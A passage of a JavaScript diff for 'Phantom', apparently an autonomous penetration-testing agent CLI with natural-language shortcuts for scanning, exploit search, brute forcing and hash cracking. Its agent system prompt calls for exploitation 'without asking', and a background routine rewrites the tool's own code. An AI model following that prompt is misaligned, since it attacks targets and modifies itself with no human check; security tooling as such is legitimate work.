target = lower.slice(5).trim(); + return `port_scan ${target}`; + } + + // SSL check + if (lower.startsWith("ssl check ") || lower.startsWith("ssl ")) { + const target = lower.replace("ssl check ", "").replace("ssl ", "").trim(); + return `ssl_check ${target}`; + } + + // CVE search + if (lower.startsWith("cve ") || lower.startsWith("cve search ")) { + const query = lower.replace("cve search ", "").replace("cve ", "").trim(); + return `cve_search ${query}`; + } + + // Exploit + if (lower.startsWith("exploit ") || lower.startsWith("exploit search ")) { + const query = lower.replace("exploit search ", "").replace("exploit ", "").trim(); + return `searchsploit ${query}`; + } + + // Crawl + if (lower.startsWith("crawl ") || lower.startsWith("spider ")) { + const url = lower.replace("crawl ", "").replace("spider ", "").trim(); + return `crawl ${url}`; + } + + // Tech detect + if (lower.startsWith("tech detect ") || lower.startsWith("tech ")) { + const target = lower.replace("tech detect ", "").replace("tech ", "").trim(); + return `whatweb ${target}`; + } + + // Mission auto + if (lower.startsWith("mission auto ")) { + const mission = lower.slice(13).trim(); + return `mission auto ${mission}`; + } + if (lower.startsWith("auto ")) { + const mission = lower.slice(5).trim(); + return `mission auto ${mission}`; + } + + // DNS lookup + if (lower.startsWith("dns ")) { + const target = lower.slice(4).trim(); + return `dns_lookup ${target}`; + } + + // WHOIS + if (lower.startsWith("whois ")) { + const target = lower.slice(6).trim(); + return `whois ${target}`; + } + + // Hash + if (lower.startsWith("hash ")) { + const data = lower.slice(5).trim(); + return `hash ${data}`; + } + + // Decode + if (lower.startsWith("decode ")) { + const data = lower.slice(7).trim(); + return `decode ${data}`; + } + + // Subdomain enum + if (lower.startsWith("subdomain ") || lower.startsWith("subdomains ")) { + const target = lower.replace("subdomain ", "").replace("subdomains ", "").trim(); + return `sub_enum ${target}`; + } + + // Wayback + if (lower.startsWith("wayback ") || lower.startsWith("archive ")) { + const target = lower.replace("wayback ", "").replace("archive ", "").trim(); + return `wayback ${target}`; + } + + // Cert expiry + if (lower.startsWith("cert ")) { + const target = lower.slice(5).trim(); + return `cert_expiry ${target}`; + } + + // HTTP headers + if (lower.startsWith("headers ")) { + const target = lower.slice(8).trim(); + return `http_headers ${target}`; + } + + // Dir bruteforce + if (lower.startsWith("dir brute") || lower.startsWith("dirb ")) { + const target = lower.replace("dir brute", "").replace("dirb ", "").trim(); + return `dir_bruteforce ${target}`; + } + + // XSS scan + if (lower.startsWith("xss ")) { + const target = lower.slice(4).trim(); + return `xss_scan ${target}`; + } + + // SQLi + if (lower.startsWith("sqli ") || lower.startsWith("sql ")) { + const target = lower.replace("sqli ", "").replace("sql ", "").trim(); + return `sql_detect ${target}`; + } + + // Open redirect + if (lower.startsWith("redirect ")) { + const target = lower.slice(9).trim(); + return `open_redirect ${target}`; + } + + // Shodan + if (lower.startsWith("shodan ")) { + const query = lower.slice(7).trim(); + return `shodan_search ${query}`; + } + + // Email breach + if (lower.startsWith("breach ") || lower.startsWith("email breach ")) { + const email = lower.replace("email breach ", "").replace("breach ", "").trim(); + return `email_breach ${email}`; + } + + // GitHub dork + if (lower.startsWith("github dork ") || lower.startsWith("gh dork ")) { + const query = lower.replace("github dork ", "").replace("gh dork ", "").trim(); + return `github_dork ${query}`; + } + + // Subdomain takeover + if (lower.startsWith("takeover ") || lower.startsWith("sub takeover ")) { + const target = lower.replace("sub takeover ", "").replace("takeover ", "").trim(); + return `sub_takeover ${target}`; + } + + // VirusTotal + if (lower.startsWith("vt ") || lower.startsWith("virustotal ")) { + const query = lower.replace("virustotal ", "").replace("vt ", "").trim(); + return `vt_check ${query}`; + } + + // Hash crack + if (lower.startsWith("crack ")) { + const hash = lower.slice(6).trim(); + return `hash_crack ${hash}`; + } + + // JWT decode + if (lower.startsWith("jwt ")) { + const token = lower.slice(4).trim(); + return `jwt_decode ${token}`; + } + + // Robots.txt + if (lower.startsWith("robots ")) { + const target = lower.slice(7).trim(); + return `robots_txt ${target}`; + } + + // Email verify + if (lower.startsWith("verify email ") || lower.startsWith("email verify ")) { + const email = lower.replace("verify email ", "").replace("email verify ", "").trim(); + return `email_verify ${email}`; + } + + // GeoIP + if (lower.startsWith("geoip ")) { + const target = lower.slice(6).trim(); + return `geoip ${target}`; + } + + // DNS zone + if (lower.startsWith("dns zone ")) { + const target = lower.slice(9).trim(); + return `dns_zone ${target}`; + } + + // HTTP methods + if (lower.startsWith("methods ")) { + const target = lower.slice(8).trim(); + return `http_methods ${target}`; + } + + // Reverse DNS + if (lower.startsWith("rdns ") || lower.startsWith("reverse dns ")) { + const target = lower.replace("rdns ", "").replace("reverse dns ", "").trim(); + return `reverse_dns ${target}`; + } + + // CORS test + if (lower.startsWith("cors ")) { + const target = lower.slice(5).trim(); + return `cors_test ${target}`; + } + + // Report save + if (lower.startsWith("save report ")) { + const parts = lower.slice(12).split("|"); + if (parts.length >= 2) return `report_save ${parts[0].trim()}|${parts.slice(1).join("|")}`; + } + + // Report export + if (lower.startsWith("export report ")) { + const parts = lower.slice(14).split("|"); + if (parts.length >= 2) return `report_export ${parts[0].trim()}|${parts.slice(1).join("|")}`; + } + + // Playbook commands + if (lower.startsWith("playbook ")) { + const sub = lower.slice(9).trim(); + if (sub.startsWith("run ")) return `playbook_run ${sub.slice(4).trim()}`; + if (sub === "list") return "playbook_list"; + if (sub.startsWith("create ")) return `playbook_create ${sub.slice(7).trim()}`; + } + + // Scope commands + if (lower.startsWith("scope ")) { + const sub = lower.slice(6).trim(); + if (sub === "list" || sub === "") return "scope list"; + if (sub.startsWith("add ")) return `scope add ${sub.slice(4).trim()}`; + if (sub.startsWith("remove ")) return `scope remove ${sub.slice(7).trim()}`; + } + + // Schedule commands + if (lower.startsWith("schedule ")) { + const sub = lower.slice(9).trim(); + if (sub === "list") return "schedule list"; + if (sub.startsWith("daily ")) return `schedule daily ${sub.slice(6).trim()}`; + if (sub.startsWith("hourly ")) return `schedule hourly ${sub.slice(7).trim()}`; + if (sub.startsWith("remove ")) return `schedule remove ${sub.slice(7).trim()}`; + } + + // Plugin commands + if (lower.startsWith("plugin ")) { + const sub = lower.slice(7).trim(); + if (sub === "list") return "plugin_load list"; + if (sub.startsWith("load ")) return `plugin_load ${sub.slice(5).trim()}`; + if (sub.startsWith("create ")) return `plugin_create ${sub.slice(7).trim()}`; + } + + // Config commands + if (lower.startsWith("config ")) { + const sub = lower.slice(7).trim(); + if (sub === "list" || sub === "") return "config list"; + if (sub.startsWith("get ")) return `config get ${sub.slice(4).trim()}`; + if (sub.startsWith("set ")) return `config set ${sub.slice(4).trim()}`; + if (sub.startsWith("path")) return "config path"; + } + + // LLM config + if (lower.startsWith("llm ") || lower.startsWith("model ")) { + const sub = lower.replace("llm ", "").replace("model ", "").trim(); + if (sub === "list") return "llm_config list"; + if (sub.startsWith("set ")) return `llm_config set ${sub.slice(4).trim()}`; + } + + // Help + if (lower === "help" || lower === "?" || lower === "how") { + return "/help"; + } + + // Clear + if (lower === "clear" || lower === "cls") { + return "/clear"; + } + + // Agents + if (lower === "agents" || lower === "list agents") { + return "/agents"; + } + + // Save/load session + if (lower.startsWith("save ")) { + const name = lower.slice(5).trim(); + return `session_save ${name}`; + } + if (lower.startsWith("load ")) { + const name = lower.slice(5).trim(); + return `session_load ${name}`; + } + + return null; // No match + } + + renderSuggestionBar() { + if (!this.suggestionActive || this.suggestions.length === 0) return; + // In TUI mode, suggestion bar needs updated rendering — skip for now + if (this.tui?.active) return; + + const { cols } = getSize(); + const maxItems = Math.min(this.suggestions.length, 6); + const pad = " "; + + for (let i = 0; i < maxItems; i++) { + const s = this.suggestions[i]; + const selected = i === this.selSuggestion; + const arrow = selected ? `${c("green")}▶${R}` : pad; + const sep = s.desc ? ` ${c("dim")}— ${s.desc}${R}` : ""; + let line = `\n${arrow} ${c("cyan")}${s.label}${R}${sep}`; + if (line.length > cols - 2) line = line.substring(0, cols - 5) + "…"; + process.stdout.write(line); + } + if (this.suggestions.length > maxItems) { + process.stdout.write(`\n${pad}${c("dim")}… +${this.suggestions.length - maxItems} more${R}`); + } + // Footer hint + if (this.selSuggestion >= 0) { + process.stdout.write(`\n${c("dim")}⏎ accept ↑↓ cycle TAB next esc dismiss${R}`); + } else { + process.stdout.write(`\n${c("dim")}TAB cycle ↑↓ select esc dismiss${R}`); + } + } + + acceptSuggestion() { + if (this.selSuggestion < 0 || this.selSuggestion >= this.suggestions.length) return; + const s = this.suggestions[this.selSuggestion]; + + // Determine what to replace + const atMatch = this.inputBuf.match(/@([\w-]*)$/); + if (atMatch) { + this.inputBuf = this.inputBuf.slice(0, atMatch.index) + s.label; + } else { + const cmdMatch = this.inputBuf.match(/^\/([\w]*)$/); + if (cmdMatch) { + this.inputBuf = s.label; + } else { + // Replace last word segment + const parts = this.inputBuf.split(/[\s|]/); + parts[parts.length - 1] = s.label; + this.inputBuf = parts.join(" "); + } + } + this.cursorPos = this.inputBuf.length; + this.suggestions = []; + this.suggestionActive = false; + this.selSuggestion = -1; + } + + cycleSuggestion(dir) { + if (this.suggestions.length === 0) { + // No active suggestions — trigger a fresh update + this.updateSuggestions(); + if (this.suggestions.length > 0) { + this.selSuggestion = dir > 0 ? 0 : this.suggestions.length - 1; + } + return; + } + const n = this.suggestions.length; + if (dir > 0) { + // Forward + if (this.selSuggestion < n - 1) { + this.selSuggestion++; + } else { + // Wrap: if at end, accept the first suggestion + this.selSuggestion = 0; + } + } else { + // Backward + if (this.selSuggestion > 0) { + this.selSuggestion--; + } else { + this.selSuggestion = n - 1; + } + } + } + + formatToolResult(name, result) { + const lines = (result || "").split("\n").filter(l => l.trim()); + if (lines.length <= 4) return lines.map(l => ` ${c("dim")}→ ${l}${R}`).join("\n"); + return lines.slice(0, 4).map(l => ` ${c("dim")}→ ${l.substring(0, 120)}${R}`).join("\n") + + `\n ${c("dim")}… +${lines.length - 4} more lines${R}`; + } + + renderResponse(response) { + if (!response) return; + const lines = response.split("\n"); + let inCode = false; + let codeLang = ""; + + const logLine = (text) => { + if (this.tui?.active) { + this.tui.log(text); + } else { + process.stdout.write(text + "\n"); + } + }; + + for (const line of lines) { + const trimmed = line.trimEnd(); + const codeFence = trimmed.match(/^```(\w*)/); + if (codeFence) { + if (inCode) { + inCode = false; + } else { + codeLang = codeFence[1] || ""; + if (codeLang) { const _l = ` ${c("dim")}${codeLang}${R}`; logLine(_l); } + inCode = true; + } + continue; + } + if (inCode) { + logLine(` ${c("dim")}│${R} ${trimmed}`); + continue; + } + // Tool calls shown during execution + if (trimmed.startsWith("@") && trimmed.length < 80) { + continue; + } + // Empty lines + if (trimmed === "") { + logLine(""); + continue; + } + // Section headers (## or ###) + const heading = trimmed.match(/^(#{2,3}|\[)\s*(.+?)\]?\s*$/); + if (heading) { + const text = heading[2].trim(); + logLine(`\n${c("magenta")}${text}${R}`); + continue; + } + // Bullet points + if (trimmed.match(/^[\s]*[-*•]\s/)) { + logLine(` ${c("cyan")}•${R} ${trimmed.replace(/^[\s]*[-*•]\s/, "")}`); + continue; + } + // Numbered lists + if (trimmed.match(/^\s*\d+[.)]\s/)) { + logLine(` ${trimmed}`); + continue; + } + // Default: normal text + logLine(` ${trimmed}`); + } + } + + async start() { + const toolCount = Object.keys(hackerTools).length; + + // ── TUI: enter alt-screen, draw fixed logo + input bar ── + this.tui.setToolCount(toolCount); + this.tui.enter(); + + // Startup info in conversation area + const providerName = this.llm?.provider || "no-llm"; + const ready = this.llm?.hasLLM ? `${c("green")}ready${R}` : `${c("yellow")}tools-only${R}`; + this.tui.log(` ${c("dim")}${providerName} ${ready} · ${toolCount} tools${R}`); + + // ── Spawn agents ── + if (this.am.count === 0) { + // Main agent + this.am.spawn("Phantom", "cybersecurity-ai", + "You are Phantom, an autonomous cybersecurity AI. You operate with zero handholding — " + + "the user gives a goal and you execute the full workflow: recon, scanning, analysis, exploitation, " + + "reporting. You decide every step, call tools, iterate, and produce results without asking " + + "what to do next. Put each tool call on its own line starting with @tool|args. " + + "Be concise in explanations, thorough in execution. You have " + toolCount + " tools including " + + "shell, sub_enum, port_scan, web_fetch, vuln_scan, and more. " + + "CRITICAL: For complex tasks with multiple independent subtasks (e.g. recon multiple targets, " + + "run different scans concurrently), use @parallel|task_description to auto-split and run on sub-agents. " + + "You can also delegate directly via @delegate|agent_name|task." + ); + // Specialist sub-agents for parallel work + this.am.spawn("Nova", "recon", + "OSINT and reconnaissance specialist. Expert in DNS analysis, subdomain enumeration, " + + "port scanning, WHOIS lookups, web crawling, and attack surface mapping. " + + "Use tools: sub_enum, dns_lookup, whois, port_scan, http_headers, ssl_check, crawl, " + + "reverse_dns, wayback, robots_txt, geoip, shodan_search." + ); + this.am.spawn("Orion", "exploit", + "Vulnerability analysis and exploitation engineer. Expert in CVE research, " + + "exploit matching, brute force testing, SQL injection, XSS, and penetration testing. " + + "Use tools: cve_search, searchsploit, bruteforce, xss_scan, sql_detect, " + + "open_redirect, dir_bruteforce, cors_test, fuzz, pwn." + ); + this.am.spawn("Vega", "defense", + "Defensive security and monitoring analyst. Expert in log analysis, SSL/TLS audit, " + + "CORS testing, JWT analysis, certificate checks, and security hardening. " + + "Use tools: ssl_check, cert_expiry, http_headers, hash, decode, " + + "jwt_decode, cors_test, dns_lookup, geoip." + ); + } + this.agent = this.am.list[0]; + + // Background: show available providers and auto-evolve + if (!process.env.PHANTOM_NO_EVOLVE) { + startupEvolve().then(ev => { + if (ev.wrappers_created > 0) { + console.log(`${c("green")}⚡${R} Auto-evolve: ${ev.wrappers_created} new tool wrappers`); + } + }).catch(() => {}); + } + + this.prompt(); + } + + prompt() { + if (!this.running) return; + this.inputBuf = ""; + this.historyIdx = this.inputHistory.length; + this.cursorPos = 0; + this.inputLines = []; + this._ignoreInput = false; + + this.tui.setInput(""); + + raw(true); + // Remove stale listener to prevent duplicate accumulation + if (this.inputHandler) { + try { process.stdin.removeListener("data", this.inputHandler); } catch {} + } + this.inputHandler = (buf) => this.onKey(buf); + process.stdin.on("data", this.inputHandler); + } + + onKey(buf) { + if (!this.running) return; + // Ignore input burst right after submit (paste split across data events) + if (this._ignoreInput) return; + const str = buf.toString(); + + // Up / Down arrows — suggestion navigation OR history + if (str === "\x1b[A") { + if (this.suggestionActive && this.suggestions.length > 0) { + this.cycleSuggestion(-1); + this.redrawLine(); + return; + } + if (this.historyIdx > 0) { + this.historyIdx--; + this.inputBuf = this.inputHistory[this.historyIdx] || ""; + this.cursorPos = this.inputBuf.length; + } + this.redrawLine(); + return; + } + if (str === "\x1b[B") { + if (this.suggestionActive && this.suggestions.length > 0) { + this.cycleSuggestion(1); + this.redrawLine(); + return; + } + if (this.historyIdx < this.inputHistory.length - 1) { + this.historyIdx++; + this.inputBuf = this.inputHistory[this.historyIdx] || ""; + } else { + this.historyIdx = this.inputHistory.length; + this.inputBuf = ""; + } + this.cursorPos = this.inputBuf.length; + this.redrawLine(); + return; + } + + // Left / Right + if (str === "\x1b[D") { this.cursorPos = Math.max(0, this.cursorPos - 1); this.redrawLine(); return; } + if (str === "\x1b[C") { this.cursorPos = Math.min(this.inputBuf.length, this.cursorPos + 1); this.redrawLine(); return; } + + // Escape — dismiss suggestions + if (str === "\x1b") { + if (this.suggestionActive) { + this.suggestions = []; + this.suggestionActive = false; + this.selSuggestion = -1; + this.redrawLine(); + } + return; + } + + // Home / End + if (str === "\x1b[H" || str === "\x01") { this.cursorPos = 0; this.redrawLine(); return; } + if (str === "\x1b[F" || str === "\x05") { this.cursorPos = this.inputBuf.length; this.redrawLine(); return; } + + // Delete + if (str === "\x1b[3~") { + if (this.cursorPos < this.inputBuf.length) { + this.inputBuf = this.inputBuf.slice(0, this.cursorPos) + this.inputBuf.slice(this.cursorPos + 1); + this.redrawLine(); + } + return; + } + + // Ctrl+C / Ctrl+D + if (str === "\x03") { this.cancel(); return; } + if (str === "\x04") { + if (this.inputBuf.length === 0) { raw(false); process.stdin.removeListener("data", this.inputHandler); this.stop(); return; } + return; + } + + // Backspace + if (str === "\x7f" || str === "\b") { + if (this.cursorPos > 0) { + this.inputBuf = this.inputBuf.slice(0, this.cursorPos - 1) + this.inputBuf.slice(this.cursorPos); + this.cursorPos--; + this.redrawLine(); + } + return; + } + + // TAB — suggestion cycle / autocomplete + if (str === "\t" || str === "\x09") { + if (this.suggestionActive && this.suggestions.length > 0) { + // Cycle to next suggestion + this.cycleSuggestion(1); + this.redrawLine(); + } else { + // No active suggestions — trigger fresh update + this.updateSuggestions(); + if (this.suggestions.length === 1) { + // Single match — accept immediately + this.selSuggestion = 0; + this.acceptSuggestion(); + this.redrawLine(); + } else if (this.suggestions.length > 1) { + // Multiple — show suggestions + this.selSuggestion = 0; + this.redrawLine(); + } + } + return; + } + + // Ctrl+Space or Ctrl+N — accept selected suggestion + if (str === "\x00" || str === "\x0E") { + if (this.suggestionActive && this.selSuggestion >= 0) { + this.acceptSuggestion(); + this.redrawLine(); + return; + } + } + + // Enter — accept suggestion if one is selected, otherwise submit + if (str === "\r" || str === "\n") { + if (this.suggestionActive && this.selSuggestion >= 0 && this.suggestions.length > 0) { + this.acceptSuggestion(); + this.redrawLine(); + return; + } + // Multi-line continuation + if (this.inputBuf.endsWith("\\")) { + this.inputLines.push(this.inputBuf.slice(0, -1)); + this.inputBuf = ""; + this.cursorPos = 0; + if (this.tui?.active) { + this.redrawLine(); + } else { + process.stdout.write(`\n${c("green")}│${R} `); + } + return; + } + // Submit + const fullInput = this.inputLines.concat([this.inputBuf]).join("\n").trim(); + this.inputLines = []; + this.inputBuf = ""; + this.cursorPos = 0; + if (this.tui?.active) this.tui.setInput(""); + + // If agent is busy, queue input silently + if (this._busy) { + // Dedup: skip if same as last queued item + if (this.promptQueue.length > 0 && this.promptQueue[this.promptQueue.length - 1] === fullInput) { + this.sayLine(`${c("yellow")}📥${R} Duplicate skipped`, "yellow"); + } else if (fullInput) { + this.promptQueue.push(fullInput); + this.sayLine(`${c("yellow")}📥${R} Queued (${this.promptQueue.length})`, "yellow"); + } + return; + } + + // Not busy — submit + this.tui.log(""); // blank line to separate turn + // Debounce: ignore residual data events from paste buffer + this._ignoreInput = true; + setTimeout(() => { this._ignoreInput = false; }, 50); + + if (!fullInput) { this.redrawLine(); return; } + + // Save to input history + if (this.inputHistory.length === 0 || this.inputHistory[this.inputHistory.length - 1] !== fullInput) { + this.inputHistory.push(fullInput); + } + + this.handleInput(fullInput); + return; + } + + // Ctrl+V — paste from clipboard + if (str === "\x16") { + try { + const { execSync } = $r("child_process"); + const isTermux = !!(process.env.TERMUX_VERSION || process.env.PREFIX?.startsWith("/data/data/com.termux")); + const pasteCmd = isTermux ? "termux-clipboard-get" : process.platform === "darwin" ? "pbpaste" : "xclip -selection clipboard -o"; + const clip = execSync(pasteCmd, { encoding: "utf-8", timeout: 3000 }).toString(); + if (clip) { + const parts = clip.split("\n"); + // First line goes to inputBuf, rest to inputLines (multi-line) + this.inputBuf = this.inputBuf.slice(0, this.cursorPos) + parts[0] + this.inputBuf.slice(this.cursorPos); + this.cursorPos += parts[0].length; + for (let i = 1; i < parts.length; i++) { + if (parts[i].length) this.inputLines.push(parts[i]); + } + this.redrawLine(); + } + } catch {} + return; + } + + // Paste detection: terminal dumped multi-char text (not a control sequence) + if (str.length > 1) { + const parts = str.split("\n"); + // First line to inputBuf, rest to inputLines + this.inputBuf = this.inputBuf.slice(0, this.cursorPos) + parts[0] + this.inputBuf.slice(this.cursorPos); + this.cursorPos += parts[0].length; + for (let i = 1; i < parts.length; i++) { + if (parts[i].length || i < parts.length - 1) this.inputLines.push(parts[i]); + } + if (this._busy) { + let display = this.inputBuf; + if (this.inputLines.length > 0) { + display += ` ${c("dim")}(+${this.inputLines.length} more)${R}`; + } + this.tui.setInput(display); + } else { this.redrawLine(); } + return; + } + + // Regular character + if (str.length === 1 && str.charCodeAt(0) >= 32) { + if (this._busy) { + // Queue silently but SHOW in input bar in real-time + this.inputBuf += str; + this.cursorPos++; + let display = this.inputBuf; + if (this.inputLines.length > 0) { + display += ` ${c("dim")}(+${this.inputLines.length} more)${R}`; + } + this.tui.setInput(display); + return; + } + this.inputBuf = this.inputBuf.slice(0, this.cursorPos) + str + this.inputBuf.slice(this.cursorPos); + this.cursorPos++; + this.redrawLine(); + } + } + + redrawLine() { + // In TUI mode, show inputBuf + extra-lines indicator + let display = this.inputBuf; + if (this.inputLines.length > 0) { + display += ` ${c("dim")}(+${this.inputLines.length} more line${this.inputLines.length > 1 ? 's' : ''})${R}`; + } + this.tui.setInput(display); + // Reposition cursor at end of actual inputBuf (not the indicator) + if (this.tui?.active) { + process.stdout.write(`\x1b[${this.tui._rows};${4 + this.inputBuf.length}H`); + } + // ── Render suggestion bar below ── + this.updateSuggestions(); + if (this.suggestionActive && this.suggestions.length > 0) { + this.renderSuggestionBar(); + const itemLines = Math.min(this.suggestions.length, 6); + this._suggestionBarHeight = itemLines + 1; + if (this.suggestions.length > 6) this._suggestionBarHeight++; + } else { + this._suggestionBarHeight = 0; + } + } + + async handleInput(input) { + this._cancelled = false; + if (input.startsWith("/")) { this.handleCommand(input.slice(1).trim().split(/\s+/)); return; } + + // Try natural language parsing first (before LLM) + const nlResult = this.parseNaturalLanguage(input); + if (nlResult) { + this.handleInput(nlResult); // Recursively handle the mapped command + return; + } + + const trimmed = input.trim().toLowerCase(); + if (trimmed === "exit" || trimmed === "quit") { this.stop(); return; } + + // ─── NATURAL LANGUAGE PARSER (works without LLM) ─── + if (nlResult) { + this._busy = true; + this.sayLine(`> ${input}`, "green"); + const { spinner, cleanup } = this.setupAgentHandlers(); + try { + this.teardownAgentHandlers(cleanup, spinner); + this.renderResponse(nlResult); + this.responseCount++; + this.lastResponseTime = Date.now(); + recordTechnique(nlResult, "reasoning"); + this.evolutionXP = Math.min(this.evolutionMaxXP, this.evolutionXP + Math.min(20, Math.max(1, Math.floor(nlResult.length / 50)))); + this.renderFooter(nlResult); + this.conversation.push(`user: ${input.substring(0, 200)}`); + this.conversation.push(`phantom: ${nlResult.substring(0, 500)}`); + if (this.conversation.length > 500) this.conversation.splice(0, 100); + saveMemory("conversation_latest", this.conversation); + this.triggerPostEvolution(); + } catch (err) { + if (!this._cancelled) { + this.sayLine(`✕ Error: ${err.message}`, "red"); + this.sayLine("🧬 Running self-heal...", "yellow"); + setImmediate(async () => { + try { + const { selfHeal } = await import("./lib/evolve.mjs"); + const result = await selfHeal({ maxAttempts: 3 }); + const fixed = result.log.filter(r => r.fixes?.some(f => f.fixed)).length; + if (result.clean) { + this.sayLine(`✅ Self-healed (${fixed} fix(es), ${(result.elapsed/1000).toFixed(1)}s)`, "green"); + } else { + this.sayLine(`⚠ Self-heal partial (${fixed} fix(es), ${result.attempts} round(s))`, "yellow"); + } + } catch {} + }); + } + } + this._busy = false; + if (this._cancelled) { this._cancelled = false; return; } + this.processQueue(); + return; + } + + this._busy = true; + this.sayLine(`> ${input}`, "green"); + if (!this.agent) { this.sayLine("✕ No agent available.", "red"); this._busy = false; this.prompt(); return; } + + const { spinner, cleanup } = this.setupAgentHandlers(); + + try { + const response = await new Promise((resolve, reject) => { + const handler = ({ agent: a, text }) => { + if (a && a.id === this.agent.id) { try { this.bus.off("agent:msg", handler); } catch {} resolve(text); } + }; + this.bus.on("agent:msg", handler); + if (!this.llm?.hasLLM) { + const tools = Object.keys(this.agent.tools).sort(); + resolve(`No LLM connected — tools-only mode.\nAvailable tools: ${tools.join(", ")}\nUse @tool_name|args to run a tool.`); + return; + } + this.agent.receive("user", input).catch(err => { try { this.bus.off("agent:msg", handler); } catch {} reject(err); }); + }); + + this.teardownAgentHandlers(cleanup, spinner); + if (this._cancelled) { this._cancelled = false; this.sayLine(`${c("yellow")}⏹${R} Cancelled`, "yellow"); this._busy = false; this.processQueue(); return; } + + this.renderResponse(response); + this.responseCount++; + this.lastResponseTime = Date.now(); + this.tokensUsed += response.length; + recordTechnique(response, "reasoning"); + studyCycle(this).catch(() => {}); + this.evolutionXP = Math.min(this.evolutionMaxXP, this.evolutionXP + Math.min(20, Math.max(1, Math.floor(response.length / 50)))); + + this.renderFooter(response); + this.conversation.push(`user: ${input.substring(0, 200)}`); + this.conversation.push(`phantom: ${response.substring(0, 500)}`); + if (this.conversation.length > 500) this.conversation.splice(0, 100); + saveMemory("conversation_latest", this.conversation); + + this.triggerPostEvolution(); + } catch (err) { + this.teardownAgentHandlers(cleanup, spinner); + if (!this._cancelled) { + this.sayLine(`✕ Error: ${err.message}`, "red"); + // Auto-heal: run self-diagnosis and fix on error + this.sayLine("🧬 Running self-heal...", "yellow"); + setImmediate(async () => { + try { + const { selfHeal } = await import("./lib/evolve.mjs"); + const result = await selfHeal({ maxAttempts: 3 }); + const fixed = result.log.filter(r => r.fixes?.some(f => f.fixed)).length; + if (result.clean) { + this.sayLine(`✅ Self-healed (${fixed} fix(es), ${(result.elapsed/1000).toFixed(1)}s)`, "green"); + } else { + this.sayLine(`⚠ Self-heal partial (${fixed} fix(es), ${result.attempts} round(s))`, "yellow"); + } + } catch {} + }); + } + } + this._busy = false; + if (this._cancelled) { this._cancelled = false; return; } + this.processQueue(); + } + + setupAgentHandlers() { + const tui = this.tui?.active ? this.tui : null; + const spinner = createSpinner(this.startTime, { + write: tui ? (s) => { + // Write spinner at the last line of conversation area (just above input bar) + process.stdout.write(`\x1b[${tui._rows - 2};1H\x1b[2K${s.replace(/\r/g, '')}`); + } : undefined + }); + this._spinner = spinner; + this._queueBuf = ""; + this._typing = false; + spinner.start("thinking... "); + const tickHandler = () => { + if (!this.agent) return; + spinner.update(this.agent.status === "executing" ? "⚡ running... " : this.agent.status === "thinking" ? "🧠 analyzing... " : this.agent.status === "speaking" ? "💬 formulating... " : "⏳ working... "); + }; + this._tickHandler = tickHandler; + this.bus.on("tick", tickHandler); + const toolPlanHandler = () => {}; // silent + this._toolPlanHandler = toolPlanHandler; + this.bus.on("agent:tool:plan", toolPlanHandler); + // Show agent's reasoning comments + const thinkHandler = (comment) => { + if (comment) console.log(`${c("cyan")}◈${R} ${comment}`); + }; + this._thinkHandler = thinkHandler; + this.bus.on("agent:think", thinkHandler); + const toolStartHandler = ({ tool, args }) => { + this._toolCallCounter++; + this.evolutionXP = Math.min(this.evolutionMaxXP, this.evolutionXP + 10); + const truncated = (args || "").length > 60 ? (args || "").substring(0, 60) + "…" : (args || ""); + console.log(`${c("dim")}⎿${R} ${c("cyan")}${tool}${R}${truncated ? ` ${c("dim")}${truncated}${R}` : ""}`); + }; + this._toolStartHandler = toolStartHandler; + this.bus.on("agent:tool:start", toolStartHandler); + const toolResultHandler = ({ tool, result, args }) => { + if (!result) { spinner.update("⚡ running... "); return; } + const n = learnFromTool(tool, result, args); + if (n > 0) this._growFacts += n; + spinner.update("⚡ running... "); + }; + this._toolResultHandler = toolResultHandler; + this.bus.on("agent:tool:result", toolResultHandler); + + return { spinner, cleanup: { tickHandler, toolPlanHandler, thinkHandler, toolStartHandler, toolResultHandler, queueHandler: null } }; + } + + teardownAgentHandlers(cleanup, spinner) { + // Don't touch stdin — onKey handles it throughout + spinner.stop(); + delete this._spinner; + this.bus.off("tick", cleanup.tickHandler); + this.bus.off("agent:tool:plan", cleanup.toolPlanHandler); + this.bus.off("agent:tool:start", cleanup.toolStartHandler); + this.bus.off("agent:tool:result", cleanup.toolResultHandler); + this.bus.off("agent:think", cleanup.thinkHandler); + } + + renderFooter() { + const elapsed = Math.floor((Date.now() - this.startTime) / 1000); + const elapsedStr = elapsed > 3600 ? `${Math.floor(elapsed / 3600)}h ${Math.floor((elapsed % 3600) / 60)}m` : elapsed > 60 ? `${Math.floor(elapsed / 60)}m ${elapsed % 60}s` : `${elapsed}s`; + const calls = this._toolCallCounter; + const parts = [`${c("green")}✓${R} ${this.responseCount}`]; + if (calls > 0) parts.push(`${c("dim")}${calls} tool${calls === 1 ? "" : "s"}${R}`); + if (this.tokensUsed > 0) parts.push(`${c("dim")}${(this.tokensUsed / 1000).toFixed(1)}K${R}`); + parts.push(`${c("dim")}${elapsedStr}${R}`); + console.log(`${c("dim")}${parts.join(" · ")}${R}`); + } + + triggerPostEvolution() { + if (!process.env.PHANTOM_NO_EVOLVE && this.evolutionXP >= this.evolutionMaxXP) { + console.log(` ${c("dim")}⚡ evolving...${R}`); + startupEvolve().then(async ev => { + const { execSync } = $r("child_process"); + let ok = true; + const phantomDir = resolve(homedir(), "Phantom"); + for (const f of ["phantom.mjs", "lib/tools.mjs", "lib/visual.mjs", "lib/evolve.mjs"]) { try { execSync(`node --check "${resolve(phantomDir, f)}"`, { encoding: "utf-8", timeout: 5000 }); } catch { ok = false; break; } } + if (ok) { try { execSync(`node test/core.test.mjs`, { cwd: phantomDir, encoding: "utf-8", timeout: 30000 }); } catch { ok = false; } } + if (ok) { this.evolutionXP = 0; console.log(` ${c("dim")}✓ evolved${ev.wrappers_created > 0 ? ` +${ev.wrappers_created} wrappers` : ""}${R}`); } + else console.log(` ${c("dim")}⚠ evolve check failed — XP held${R}`); + }).catch(() => {}); + } + } + + cancel() { + // Cancel current operation without exiting — returns to prompt + this._cancelled = true; + this._busy = false; + if (this._spinner) { try { this._spinner.stop(); } catch {} delete this._spinner; } + // Stdin stays with onKey — no cleanup needed + this._queueBuf = ""; + this.bus.off("tick", this._tickHandler); + this.bus.off("agent:tool:plan", this._toolPlanHandler); + this.bus.off("agent:tool:start", this._toolStartHandler); + this.bus.off("agent:tool:result", this._toolResultHandler); + this._queueBuf = ""; + if (this.promptQueue.length > 0) { + this.sayLine(`${c("yellow")}⏹${R} Stopped. ${this.promptQueue.length} queued — type /queue to see, /flushqueue to clear.`, "yellow"); + } else { + this.sayLine(`${c("yellow")}⏹${R} Cancelled`, "yellow"); + } + setTimeout(() => { this._cancelled = false; this.prompt(); }, 50); + } + + processQueue() { + // Process next queued item + if (this.promptQueue.length > 0) { + const next = this.promptQueue.shift(); + 